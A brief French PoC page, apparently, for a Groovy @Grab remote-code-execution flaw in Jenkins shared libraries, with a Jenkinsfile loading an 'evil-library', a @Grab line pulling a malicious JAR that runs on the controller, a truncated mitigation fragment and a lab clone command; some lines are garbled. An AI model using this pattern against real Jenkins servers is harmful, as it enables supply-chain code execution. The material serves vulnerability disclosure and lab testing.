
PoC pour CVE-2026-22018, une RCE critique dans Jenkins Pipeline Shared Library via Groovy @Grab, démontrant l'injection de code dans la chaîne d'approvisionnement et les étapes d'atténuation.
@Grab// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
evilStep()
}
Un pipeline Jenkins charge une bibliothèque partagée depuis une source qui n'est pas entièrement fiable. La bibliothèque utilise l'annotation @Grab pour télécharger des artefacts Maven externes, qui peuvent inclure une classe malveillante exécutant du code sur le contrôleur Jenkins lors de la compilation Groovy.
@Grab de Groovy récupère et charge des JAR arbitraires au moment de l'exécution ; les bibliothèques partagées ne sont pas isolées (sandbox).Configurez un pipeline avec une bibliothèque non fiable qui contient @Grab('com.evil:malware:1.0') dans son vars/evilStep.groovy. Lorsque le pipeline s'exécute, l'initialiseur statique du JAR malveillant s'exécute.
@Grab via les paramètres de sécurité du sandbox Groovy.git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.